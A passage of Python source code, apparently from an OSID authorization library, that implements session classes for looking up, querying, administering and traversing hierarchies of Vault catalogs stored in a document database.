osid.resource.ResourceBinAssignmentSession.reassign_resource_to_bin self.assign_authorization_to_vault(authorization_id, to_vault_id) try: self.unassign_authorization_from_vault(authorization_id, from_vault_id) except: # something went wrong, roll back assignment to to_vault_id self.unassign_authorization_from_vault(authorization_id, to_vault_id) raise class VaultLookupSession(abc_authorization_sessions.VaultLookupSession, osid_sessions.OsidSession): """This session provides methods for retrieving ``Vault`` objects. The ``Vault`` represents a collection of ``Functions`` and ``Authorizations``. This session defines views that offer differing behaviors when retrieving multiple objects. * comparative view: elements may be silently omitted or re-ordered * plenary view: provides a complete set or is an error condition Generally, the comparative view should be used for most applications as it permits operation even if there is data that cannot be accessed. For example, a browsing application may only need to examine the ``Vaults`` it can access, without breaking execution. However, an administrative application may require all ``Vault`` elements to be available. Vaults may have an additional records indicated by their respective record types. The record may not be accessed through a cast of the ``Vault``. """ _session_namespace = 'authorization.VaultLookupSession' def __init__(self, proxy=None, runtime=None, **kwargs): OsidSession.__init__(self) OsidSession._init_catalog(self, proxy, runtime) if self._cataloging_manager is not None: self._catalog_session = self._cataloging_manager.get_catalog_lookup_session() self._catalog_session.use_comparative_catalog_view() self._catalog_view = COMPARATIVE self._kwargs = kwargs def can_lookup_vaults(self): """Tests if this user can perform ``Vault`` lookups. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer lookup operations to unauthorized users. return: (boolean) - ``false`` if lookup methods are not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.can_lookup_bins # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_lookup_catalogs() return True def use_comparative_vault_view(self): """The returns from the lookup methods may omit or translate elements based on this session, such as authorization, and not result in an error. This view is used when greater interoperability is desired at the expense of precision. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.use_comparative_bin_view self._catalog_view = COMPARATIVE if self._catalog_session is not None: self._catalog_session.use_comparative_catalog_view() def use_plenary_vault_view(self): """A complete view of the ``Vault`` returns is desired. Methods will return what is requested or result in an error. This view is used when greater precision is desired at the expense of interoperability. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.use_plenary_bin_view self._catalog_view = PLENARY if self._catalog_session is not None: self._catalog_session.use_plenary_catalog_view() @utilities.arguments_not_none def get_vault(self, vault_id): """Gets the ``Vault`` specified by its ``Id``. In plenary mode, the exact ``Id`` is found or a ``NotFound`` results. Otherwise, the returned ``Vault`` may have a different ``Id`` than requested, such as the case where a duplicate ``Id`` was assigned to a ``Vault`` and retained for compatibility. arg: vault_id (osid.id.Id): ``Id`` of the ``Vault`` return: (osid.authorization.Vault) - the vault raise: NotFound - ``vault_id`` not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.get_bin if self._catalog_session is not None: return self._catalog_session.get_catalog(catalog_id=vault_id) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) # Need to consider how to best deal with the "phantom root" catalog issue if vault_id.get_identifier() == PHANTOM_ROOT_IDENTIFIER: return self._get_phantom_root_catalog(cat_class=objects.Vault, cat_name='Vault') try: result = collection.find_one({'_id': ObjectId(self._get_id(vault_id, 'authorization').get_identifier())}) except errors.NotFound: # Try creating an orchestrated Vault. Let it raise errors.NotFound() result = self._create_orchestrated_cat(vault_id, 'authorization', 'Vault') return objects.Vault(osid_object_map=result, runtime=self._runtime, proxy=self._proxy) @utilities.arguments_not_none def get_vaults_by_ids(self, vault_ids): """Gets a ``VaultList`` corresponding to the given ``IdList``. In plenary mode, the returned list contains all of the vaults specified in the ``Id`` list, in the order of the list, including duplicates, or an error results if an ``Id`` in the supplied list is not found or inaccessible. Otherwise, inaccessible ``Vault`` objects may be omitted from the list and may present the elements in any order including returning a unique set. arg: vault_ids (osid.id.IdList): the list of ``Ids`` to retrieve return: (osid.authorization.VaultList) - the returned ``Vault`` list raise: NotFound - an ``Id was`` not found raise: NullArgument - ``vault_ids`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.get_bins_by_ids_template # NOTE: This implementation currently ignores plenary view # Also, this should be implemented to use get_Vault() instead of direct to database if self._catalog_session is not None: return self._catalog_session.get_catalogs_by_ids(catalog_ids=vault_ids) catalog_id_list = [] for i in vault_ids: catalog_id_list.append(ObjectId(i.get_identifier())) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) result = collection.find({'_id': {'$in': catalog_id_list}}).sort('_id', DESCENDING) return objects.VaultList(result, runtime=self._runtime, proxy=self._proxy) @utilities.arguments_not_none def get_vaults_by_genus_type(self, vault_genus_type): """Gets a ``VaultList`` corresponding to the given vault genus ``Type`` which does not include vaults of types derived from the specified ``Type``. In plenary mode, the returned list contains all known vaults or an error results. Otherwise, the returned list may contain only those vaults that are accessible through this session. arg: vault_genus_type (osid.type.Type): a vault genus type return: (osid.authorization.VaultList) - the returned ``Vault`` list raise: NullArgument - ``vault_genus_type`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) result = collection.find({'genusTypeId': {'$in': [str(vault_genus_type)]}}).sort('_id', DESCENDING) return objects.VaultList(result, runtime=self._runtime) @utilities.arguments_not_none def get_vaults_by_parent_genus_type(self, vault_genus_type): """Gets a ``VaultList`` corresponding to the given vault genus ``Type`` and include any additional vaults with genus types derived from the specified ``Type``. In plenary mode, the returned list contains all known vaults or an error results. Otherwise, the returned list may contain only those vaults that are accessible through this session. arg: vault_genus_type (osid.type.Type): a vault genus type return: (osid.authorization.VaultList) - the returned ``Vault`` list raise: NullArgument - ``vault_genus_type`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_vaults_by_record_type(self, vault_record_type): """Gets a ``VaultList`` containing the given vault record ``Type``. In plenary mode, the returned list contains all known vaults or an error results. Otherwise, the returned list may contain only those vaults that are accessible through this session. arg: vault_record_type (osid.type.Type): a vault record type return: (osid.authorization.VaultList) - the returned ``Vault`` list raise: NullArgument - ``vault_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_vaults_by_provider(self, resource_id): """Gets a ``VaultList`` from the given provider ````. In plenary mode, the returned list contains all known vaults or an error results. Otherwise, the returned list may contain only those vaults that are accessible through this session. arg: resource_id (osid.id.Id): a resource ``Id`` return: (osid.authorization.VaultList) - the returned ``Vault`` list raise: NullArgument - ``resource_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() def get_vaults(self): """Gets all ``Vaults``. In plenary mode, the returned list contains all known vaults or an error results. Otherwise, the returned list may contain only those vaults that are accessible through this session. return: (osid.authorization.VaultList) - a ``VaultList`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.get_bins_template # NOTE: This implementation currently ignores plenary view if self._catalog_session is not None: return self._catalog_session.get_catalogs() collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) result = collection.find().sort('_id', DESCENDING) return objects.VaultList(result, runtime=self._runtime, proxy=self._proxy) vaults = property(fget=get_vaults) class VaultQuerySession(abc_authorization_sessions.VaultQuerySession, osid_sessions.OsidSession): """This session provides methods for searching among ``Vault`` objects. The search query is constructed using the ``VaultQuery``. Vaults may have a query record indicated by their respective record types. The query record is accessed via the ``VaultQuery``. """ _session_namespace = 'authorization.VaultQuerySession' def __init__(self, proxy=None, runtime=None, **kwargs): OsidSession.__init__(self) OsidSession._init_catalog(self, proxy, runtime) if self._cataloging_manager is not None: self._catalog_session = self._cataloging_manager.get_catalog_query_session() self._forms = dict() self._kwargs = kwargs def can_search_vaults(self): """Tests if this user can perform ``Vault`` searches. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer search operations to unauthorized users. return: (boolean) - ``false`` if search methods are not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinQuerySession.can_search_bins_template # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True def get_vault_query(self): """Gets a vault query. return: (osid.authorization.VaultQuery) - a vault query *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinQuerySession.get_bin_query_template return queries.VaultQuery(runtime=self._runtime) vault_query = property(fget=get_vault_query) @utilities.arguments_not_none def get_vaults_by_query(self, vault_query): """Gets a list of ``Vault`` objects matching the given search. arg: vault_query (osid.authorization.VaultQuery): the vault query return: (osid.authorization.VaultList) - the returned ``VaultList`` raise: NullArgument - ``vault_query`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure raise: Unsupported - ``vault_query`` is not of this service *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinQuerySession.get_bins_by_query_template if self._catalog_session is not None: return self._catalog_session.get_catalogs_by_query(vault_query) query_terms = dict(vault_query._query_terms) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) result = collection.find(query_terms).sort('_id', DESCENDING) return objects.VaultList(result, runtime=self._runtime) class VaultAdminSession(abc_authorization_sessions.VaultAdminSession, osid_sessions.OsidSession): """This session creates, updates, and deletes ``Vaults``. The data for create and update is provided by the consumer via the form object. ``OsidForms`` are requested for each create or update and may not be reused. Create and update operations differ in their usage. To create a ``Vault,`` a ``VaultForm`` is requested using ``get_vault_form_for_create()`` specifying the desired record ``Types`` or none if no record ``Types`` are needed. The returned ``VaultForm`` will indicate that it is to be used with a create operation and can be used to examine metdata or validate data prior to creation. Once the ``VaultForm`` is submiited to a create operation, it cannot be reused with another create operation unless the first operation was unsuccessful. Each ``VaultForm`` corresponds to an attempted transaction. For updates, ``VaultForms`` are requested to the ``Vault`` ``Id`` that is to be updated using ``getVaultFormForUpdate()``. Similarly, the ``VaultForm`` has metadata about the data that can be updated and it can perform validation before submitting the update. The ``VaultForm`` can only be used once for a successful update and cannot be reused. The delete operations delete ``Vaults``. It is safer to remove all mappings to the ``Vault`` catalogs before deletion. This session includes an ``Id`` aliasing mechanism to assign an external ``Id`` to an internally assigned Id. """ _session_namespace = 'authorization.VaultAdminSession' def __init__(self, proxy=None, runtime=None, **kwargs): OsidSession.__init__(self) OsidSession._init_catalog(self, proxy, runtime) if self._cataloging_manager is not None: self._catalog_session = self._cataloging_manager.get_catalog_admin_session() self._forms = dict() self._kwargs = kwargs def can_create_vaults(self): """Tests if this user can create ``Vaults``. A return of true does not guarantee successful authorization. A return of false indicates that it is known creating a ``Vault`` will result in a ``PermissionDenied``. This is intended as a hint to an application that may not wish to offer create operations to unauthorized users. return: (boolean) - ``false`` if ``Vault`` creation is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.can_create_bins # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_create_catalogs() return True @utilities.arguments_not_none def can_create_vault_with_record_types(self, vault_record_types): """Tests if this user can create a single ``Vault`` using the desired record types. While ``AuthorizationManager.getVaultRecordTypes()`` can be used to examine which records are supported, this method tests which record(s) are required for creating a specific ``Vault``. Providing an empty array tests if a ``Vault`` can be created with no records. arg: vault_record_types (osid.type.Type[]): array of vault record types return: (boolean) - ``true`` if ``Vault`` creation using the specified ``Types`` is supported, ``false`` otherwise raise: NullArgument - ``vault_record_types`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.can_create_bin_with_record_types # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_create_catalog_with_record_types(catalog_record_types=vault_record_types) return True @utilities.arguments_not_none def get_vault_form_for_create(self, vault_record_types): """Gets the vault form for creating new vaults. A new form should be requested for each create transaction. arg: vault_record_types (osid.type.Type[]): array of vault record types return: (osid.authorization.VaultForm) - the vault form raise: NullArgument - ``vault_record_types`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure raise: Unsupported - unable to get form qith requested record types *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.get_bin_form_for_create_template if self._catalog_session is not None: return self._catalog_session.get_catalog_form_for_create(catalog_record_types=vault_record_types) for arg in vault_record_types: if not isinstance(arg, ABCType): raise errors.InvalidArgument('one or more argument array elements is not a valid OSID Type') if vault_record_types == []: result = objects.VaultForm( runtime=self._runtime, effective_agent_id=self.get_effective_agent_id(), proxy=self._proxy) # Probably don't need effective agent id now that we have proxy in form. else: result = objects.VaultForm( record_types=vault_record_types, runtime=self._runtime, effective_agent_id=self.get_effective_agent_id(), proxy=self._proxy) # Probably don't need effective agent id now that we have proxy in form. self._forms[result.get_id().get_identifier()] = not CREATED return result @utilities.arguments_not_none def create_vault(self, vault_form): """Creates a new ``Vault``. arg: vault_form (osid.authorization.VaultForm): the form for this ``Vault`` return: (osid.authorization.Vault) - the new ``Vault`` raise: IllegalState - ``vault_form`` already used in a create transaction raise: InvalidArgument - one or more of the form elements is invalid raise: NullArgument - ``vault_form`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure raise: Unsupported - ``vault_form`` did not originate from ``get_vault_form_for_create()`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.create_bin_template if self._catalog_session is not None: return self._catalog_session.create_catalog(catalog_form=vault_form) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) if not isinstance(vault_form, ABCVaultForm): raise errors.InvalidArgument('argument type is not an VaultForm') if vault_form.is_for_update(): raise errors.InvalidArgument('the VaultForm is for update only, not create') try: if self._forms[vault_form.get_id().get_identifier()] == CREATED: raise errors.IllegalState('vault_form already used in a create transaction') except KeyError: raise errors.Unsupported('vault_form did not originate from this session') if not vault_form.is_valid(): raise errors.InvalidArgument('one or more of the form elements is invalid') insert_result = collection.insert_one(vault_form._my_map) self._forms[vault_form.get_id().get_identifier()] = CREATED result = objects.Vault( osid_object_map=collection.find_one({'_id': insert_result.inserted_id}), runtime=self._runtime, proxy=self._proxy) return result def can_update_vaults(self): """Tests if this user can update ``Vaults``. A return of true does not guarantee successful authorization. A return of false indicates that it is known updating a ``Vault`` will result in a ``PermissionDenied``. This is intended as a hint to an application that may not wish to offer update operations to unauthorized users. return: (boolean) - ``false`` if ``Vault`` modification is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.can_update_bins # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_update_catalogs() return True @utilities.arguments_not_none def get_vault_form_for_update(self, vault_id): """Gets the vault form for updating an existing vault. A new vault form should be requested for each update transaction. arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` return: (osid.authorization.VaultForm) - the vault form raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.get_bin_form_for_update_template if self._catalog_session is not None: return self._catalog_session.get_catalog_form_for_update(catalog_id=vault_id) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) if not isinstance(vault_id, ABCId): raise errors.InvalidArgument('the argument is not a valid OSID Id') result = collection.find_one({'_id': ObjectId(vault_id.get_identifier())}) cat_form = objects.VaultForm(osid_object_map=result, runtime=self._runtime, proxy=self._proxy) self._forms[cat_form.get_id().get_identifier()] = not UPDATED return cat_form @utilities.arguments_not_none def update_vault(self, vault_form): """Updates an existing vault. arg: vault_form (osid.authorization.VaultForm): the form containing the elements to be updated raise: IllegalState - ``vault_form`` already used in an update transaction raise: InvalidArgument - the form contains an invalid value raise: NullArgument - ``vault_form`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure raise: Unsupported - ``vault_form`` did not originate from ``get_vault_form_for_update()`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.update_bin_template if self._catalog_session is not None: return self._catalog_session.update_catalog(catalog_form=vault_form) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) if not isinstance(vault_form, ABCVaultForm): raise errors.InvalidArgument('argument type is not an VaultForm') if not vault_form.is_for_update(): raise errors.InvalidArgument('the VaultForm is for update only, not create') try: if self._forms[vault_form.get_id().get_identifier()] == UPDATED: raise errors.IllegalState('vault_form already used in an update transaction') except KeyError: raise errors.Unsupported('vault_form did not originate from this session') if not vault_form.is_valid(): raise errors.InvalidArgument('one or more of the form elements is invalid') collection.save(vault_form._my_map) # save is deprecated - change to replace_one self._forms[vault_form.get_id().get_identifier()] = UPDATED # Note: this is out of spec. The OSIDs don't require an object to be returned return objects.Vault(osid_object_map=vault_form._my_map, runtime=self._runtime, proxy=self._proxy) def can_delete_vaults(self): """Tests if this user can delete vaults. A return of true does not guarantee successful authorization. A return of false indicates that it is known deleting a ``Vault`` will result in a ``PermissionDenied``. This is intended as a hint to an application that may not wish to offer delete operations to unauthorized users. return: (boolean) - ``false`` if ``Vault`` deletion is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.can_delete_bins # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_delete_catalogs() return True @utilities.arguments_not_none def delete_vault(self, vault_id): """Deletes a ``Vault``. arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` to remove raise: NotFound - ``vault_id`` not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.delete_bin_template if self._catalog_session is not None: return self._catalog_session.delete_catalog(catalog_id=vault_id) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) if not isinstance(vault_id, ABCId): raise errors.InvalidArgument('the argument is not a valid OSID Id') for object_catalog in ['Authorization', 'Function', 'Qualifier', 'Vault']: obj_collection = JSONClientValidated('authorization', collection=object_catalog, runtime=self._runtime) if obj_collection.find({'assignedVaultIds': {'$in': [str(vault_id)]}}).count() != 0: raise errors.IllegalState('catalog is not empty') collection.delete_one({'_id': ObjectId(vault_id.get_identifier())}) def can_manage_vault_aliases(self): """Tests if this user can manage ``Id`` aliases for ``Vaults``. A return of true does not guarantee successful authorization. A return of false indicates that it is known changing an alias will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer alias operations to an unauthorized user. return: (boolean) - ``false`` if ``Vault`` aliasing is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def alias_vault(self, vault_id, alias_id): """Adds an ``Id`` to a ``Vault`` for the purpose of creating compatibility. The primary ``Id`` of the ``Vault`` is determined by the provider. The new ``Id`` performs as an alias to the primary ``Id``. If the alias is a pointer to another vault it is reassigned to the given vault ``Id``. arg: vault_id (osid.id.Id): the ``Id`` of a ``Vault`` arg: alias_id (osid.id.Id): the alias ``Id`` raise: AlreadyExists - ``alias_id`` is already assigned raise: NotFound - ``vault_id`` not found raise: NullArgument - ``vault_id`` or ``alias_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.alias_bin_template if self._catalog_session is not None: return self._catalog_session.alias_catalog(catalog_id=vault_id, alias_id=alias_id) self._alias_id(primary_id=vault_id, equivalent_id=alias_id) class VaultHierarchySession(abc_authorization_sessions.VaultHierarchySession, osid_sessions.OsidSession): """This session defines methods for traversing a hierarchy of ``Vault`` objects. Each node in the hierarchy is a unique ``Vault``. The hierarchy may be traversed recursively to establish the tree structure through ``get_parent_vaults()`` and ``getChildVaults()``. To relate these ``Ids`` to another OSID, ``get_vault_nodes()`` can be used for retrievals that can be used for bulk lookups in other OSIDs. Any ``Vault`` available in the Authorization OSID is known to this hierarchy but does not appear in the hierarchy traversal until added as a root node or a child of another node. A user may not be authorized to traverse the entire hierarchy. Parts of the hierarchy may be made invisible through omission from the returns of ``get_parent_vaults()`` or ``get_child_vaults()`` in lieu of a ``PermissionDenied`` error that may disrupt the traversal through authorized pathways. This session defines views that offer differing behaviors when retrieving multiple objects. * comparative view: vault elements may be silently omitted or re- ordered * plenary view: provides a complete set or is an error condition """ _session_namespace = 'authorization.VaultHierarchySession' def __init__(self, proxy=None, runtime=None, **kwargs): # Implemented from template for # osid.resource.BinHierarchySession.init_template OsidSession.__init__(self) OsidSession._init_catalog(self, proxy, runtime) self._forms = dict() self._kwargs = kwargs if self._cataloging_manager is not None: self._catalog_session = self._cataloging_manager.get_catalog_hierarchy_session() else: hierarchy_mgr = self._get_provider_manager('HIERARCHY') self._hierarchy_session = hierarchy_mgr.get_hierarchy_traversal_session_for_hierarchy( Id(authority='AUTHORIZATION', namespace='CATALOG', identifier='VAULT'), proxy=self._proxy) def get_vault_hierarchy_id(self): """Gets the hierarchy ``Id`` associated with this session. return: (osid.id.Id) - the hierarchy ``Id`` associated with this session *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_bin_hierarchy_id if self._catalog_session is not None: return self._catalog_session.get_catalog_hierarchy_id() return self._hierarchy_session.get_hierarchy_id() vault_hierarchy_id = property(fget=get_vault_hierarchy_id) def get_vault_hierarchy(self): """Gets the hierarchy associated with this session. return: (osid.hierarchy.Hierarchy) - the hierarchy associated with this session raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_bin_hierarchy if self._catalog_session is not None: return self._catalog_session.get_catalog_hierarchy() return self._hierarchy_session.get_hierarchy() vault_hierarchy = property(fget=get_vault_hierarchy) def can_access_vault_hierarchy(self): """Tests if this user can perform hierarchy queries. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer lookup operations. return: (boolean) - ``false`` if hierarchy traversal methods are not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.can_access_bin_hierarchy # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_access_catalog_hierarchy() return True def use_comparative_vault_view(self): """The returns from the vault methods may omit or translate elements based on this session, such as authorization, and not result in an error. This view is used when greater interoperability is desired at the expense of precision. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.use_comparative_bin_view self._catalog_view = COMPARATIVE if self._catalog_session is not None: self._catalog_session.use_comparative_catalog_view() def use_plenary_vault_view(self): """A complete view of the ``Hierarchy`` returns is desired. Methods will return what is requested or result in an error. This view is used when greater precision is desired at the expense of interoperability. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.use_plenary_bin_view self._catalog_view = PLENARY if self._catalog_session is not None: self._catalog_session.use_plenary_catalog_view() def get_root_vault_ids(self): """Gets the root vault ``Ids`` in this hierarchy. return: (osid.id.IdList) - the root vault ``Ids`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_root_bin_ids if self._catalog_session is not None: return self._catalog_session.get_root_catalog_ids() return self._hierarchy_session.get_roots() root_vault_ids = property(fget=get_root_vault_ids) def get_root_vaults(self): """Gets the root vaults in this vault hierarchy. return: (osid.authorization.VaultList) - the root vaults raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_root_bins if self._catalog_session is not None: return self._catalog_session.get_root_catalogs() return VaultLookupSession( self._proxy, self._runtime).get_vaults_by_ids(list(self.get_root_vault_ids())) root_vaults = property(fget=get_root_vaults) @utilities.arguments_not_none def has_parent_vaults(self, vault_id): """Tests if the ``Vault`` has any parents. arg: vault_id (osid.id.Id): a vault ``Id`` return: (boolean) - ``true`` if the vault has parents, ``false`` otherwise raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.has_parent_bins if self._catalog_session is not None: return self._catalog_session.has_parent_catalogs(catalog_id=vault_id) return self._hierarchy_session.has_parents(id_=vault_id) @utilities.arguments_not_none def is_parent_of_vault(self, id_, vault_id): """Tests if an ``Id`` is a direct parent of a vault. arg: id (osid.id.Id): an ``Id`` arg: vault_id (osid.id.Id): the ``Id`` of a vault return: (boolean) - ``true`` if this ``id`` is a parent of ``vault_id,`` ``false`` otherwise raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``id`` or ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* *implementation notes*: If ``id`` not found return ``false``. """ # Implemented from template for # osid.resource.BinHierarchySession.is_parent_of_bin if self._catalog_session is not None: return self._catalog_session.is_parent_of_catalog(id_=id_, catalog_id=vault_id) return self._hierarchy_session.is_parent(id_=vault_id, parent_id=id_) @utilities.arguments_not_none def get_parent_vault_ids(self, vault_id): """Gets the parent ``Ids`` of the given vault. arg: vault_id (osid.id.Id): a vault ``Id`` return: (osid.id.IdList) - the parent ``Ids`` of the vault raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_parent_bin_ids if self._catalog_session is not None: return self._catalog_session.get_parent_catalog_ids(catalog_id=vault_id) return self._hierarchy_session.get_parents(id_=vault_id) @utilities.arguments_not_none def get_parent_vaults(self, vault_id): """Gets the parents of the given vault. arg: vault_id (osid.id.Id): a vault ``Id`` return: (osid.authorization.VaultList) - the parents of the vault raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_parent_bins if self._catalog_session is not None: return self._catalog_session.get_parent_catalogs(catalog_id=vault_id) return VaultLookupSession( self._proxy, self._runtime).get_vaults_by_ids( list(self.get_parent_vault_ids(vault_id))) @utilities.arguments_not_none def is_ancestor_of_vault(self, id_, vault_id): """Tests if an ``Id`` is an ancestor of a vault. arg: id (osid.id.Id): an ``Id`` arg: vault_id (osid.id.Id): the ``Id`` of a vault return: (boolean) - ``true`` if this ``id`` is an ancestor of ``vault_id,`` ``false`` otherwise raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` or ``id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* *implementation notes*: If ``id`` not found return ``false``. """ # Implemented from template for # osid.resource.BinHierarchySession.is_ancestor_of_bin if self._catalog_session is not None: return self._catalog_session.is_ancestor_of_catalog(id_=id_, catalog_id=vault_id) return self._hierarchy_session.is_ancestor(id_=id_, ancestor_id=vault_id) @utilities.arguments_not_none def has_child_vaults(self, vault_id): """Tests if a vault has any children. arg: vault_id (osid.id.Id): a ``vault_id`` return: (boolean) - ``true`` if the ``vault_id`` has children, ``false`` otherwise raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.has_child_bins if self._catalog_session is not None: return self._catalog_session.has_child_catalogs(catalog_id=vault_id) return self._hierarchy_session.has_children(id_=vault_id) @utilities.arguments_not_none def is_child_of_vault(self, id_, vault_id): """Tests if a vault is a direct child of another. arg: id (osid.id.Id): an ``Id`` arg: vault_id (osid.id.Id): the ``Id`` of a vault return: (boolean) - ``true`` if the ``id`` is a child of ``vault_id,`` ``false`` otherwise raise: NotFound - ``vault_id`` not found raise: NullArgument - ``vault_id`` or ``id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* *implementation notes*: If ``id`` not found return ``false``. """ # Implemented from template for # osid.resource.BinHierarchySession.is_child_of_bin if self._catalog_session is not None: return self._catalog_session.is_child_of_catalog(id_=id_, catalog_id=vault_id) return self._hierarchy_session.is_child(id_=vault_id, child_id=id_) @utilities.arguments_not_none def get_child_vault_ids(self, vault_id): """Gets the child ``Ids`` of the given vault. arg: vault_id (osid.id.Id): the ``Id`` to query return: (osid.id.IdList) - the children of the vault raise: 